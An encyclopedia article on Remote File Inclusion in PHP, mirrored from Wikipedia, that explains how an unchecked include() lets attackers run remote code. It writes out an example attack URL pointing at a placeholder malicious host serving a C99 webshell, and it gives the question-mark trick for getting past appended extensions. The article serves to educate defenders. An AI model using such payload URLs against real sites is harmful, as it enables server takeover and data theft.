Remote File Inclusion

Remote File Inclusion

Remote File Inclusion (RFI) is a technique used to attack Internet websites from a remote computer. With malicious intent, it can be combined with the usage of XSA to harm a webserver.

How the attack works

Remote File Inclusion attacks allow malicious users to run their own PHP code on a vulnerable website. The attacker is allowed to include his own malicious code in the space provided for PHP programs on a web page. For instance, a piece of vulnerable PHP code would look like this:

"include($page . '.php');"

This line of PHP code, is then used in URLs like the following example:

"http://www.vulnerable.example.org/index.php?page=archive"

Because the $page variable is not specifically defined, an attacker can insert the location of a malicious file into the URL and execute it on the target server as in this example:

"http://www.vulnerable.example.org/index.php?page=http://www.malicious.example.com/C99.php?"

The include() function above instructs the server to retrieve C99.php from the remote server and run its code. This is possible because PHP allows the user to load both remote and local content with the same functions. The code sample above does not perform any checks on the content of the $page variable, it blindly passes it to the function.Because the original piece of code appended .php to the file it would try to fetch the following URL

"http://www.malicious.example.com/C99.php.php"

As the attackers can not know what the original code might append, they put a question mark at the end of the URLs. This makes the script fetch the intended file, with the appended string as a parameter (which is ignored by the attackers script):

"http://www.malicious.example.com/C99.php?.php"

This allows the attacker to include any remote file of his choice simply by editing the URL. Attackers commonly include a malicious PHP script called a webshell, also known as a PHP shell. A webshell can display the files and folders on the server and can edit, add or delete files, among other tasks. Scripts that send Spam are also very common. Potentially, the attacker could even use the webshell to gain administrator-level, or root, access on the server.

Why the attack works

RFI attacks are possible because of several PHP configuration flags:

* One is called register_globals. register_globals automatically defines variables in the script that are entered in the page URL. In this example, the $page variable will automatically be filled with http://malicious.code.com/C99.txt?archive.php before the script is executed. Because of this security vulnerability, register_globals is set to OFF by default on newer servers.
* Another one, even more relevant to this attack, is allow_url_fopen. This defines if PHP should be able to fetch remote content in almost any function that takes a filename as a parameter. In PHP 5.2 this setting was separated for the include() family of functions and called allow_url_include. This specifically addresses the fact that the attack described here makes up the majority of security holes in current PHP software.

ee also

*Code injection

External links

* [http://php.net/include PHP: include()]
* [http://php.net/register_globals PHP: Using Register Globals]
* [http://php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP: Filesystem Functions: allow-url-fopen]


Wikimedia Foundation. 2010.

Look at other dictionaries:

  • Remote File Inclusion — Saltar a navegación, búsqueda RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros… …   Wikipedia Español

  • Remote File Inclusion — Der Begriff Remote File Inclusion beschreibt eine Sicherheitslücke in Skript basierten Webanwendungen, die es einem Angreifer ermöglicht, unkontrolliert Programmcode in den Webserver einzuschleusen und dort auszuführen. Gebräuchlich ist der… …   Deutsch Wikipedia

  • Australian College of Rural and Remote Medicine — (ACRRM) has a current membership of around 2,500 including fellows, registrars, practitioners and students. [cite web| title = Australian College of Rural and Remote Medicine| publisher = ACRRM| url = http://www.acrrm.org.au| accessdate = 2007 09 …   Wikipedia

  • Comparison of file managers — The following tables compare general and technical information for a number of notable file managers. Contents 1 General information 2 Operating system support 2.1 Cross platform file managers 2.2 …   Wikipedia

  • Code injection — is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or inject ) code into a computer program to change the course of execution. The results of a code injection… …   Wikipedia

  • Code audit — A software code audit is a comprehensive analysis of source code in a programming project with the intent of discovering bugs, security breaches or violations of programming conventions. It is an integral part of the defensive programming… …   Wikipedia

  • Exploit (informatique) — Pour les articles homonymes, voir Exploit. Un exploit est, dans le domaine de la sécurité informatique, un élément de programme permettant à un individu ou un logiciel malveillant d exploiter une faille de sécurité informatique dans un système d… …   Wikipédia en Français

  • RFI — can mean: * Radio Frequency Interference * Radio France Internationale * Relative fluorescence intensity * Room for Improvement * Ready for issue US government term for equipment ready for use * Remote File Inclusion * Request For Information, a… …   Wikipedia

  • RFI — Die Abkürzung RFI steht für Radiative Forcing Index, ein Maß für die Wirkung von Treibhausgasen auf den Treibhauseffekt Radio France Internationale, den Auslandsrundfunk Frankreichs Radio Frequency Identification, ein Verfahren zur automatischen… …   Deutsch Wikipedia

  • RFI — Saltar a navegación, búsqueda Las siglas RFI puede referirse a: Remote File Inclusion (RFI) Una vulnerabilidad existente en las páginas web diseñadas en PHP Radio Francia Internacional El servicio público de radio internacional del gobierno… …   Wikipedia Español

Share the article and excerpts

Direct link
Do a right-click on the link above
and select “Copy Link”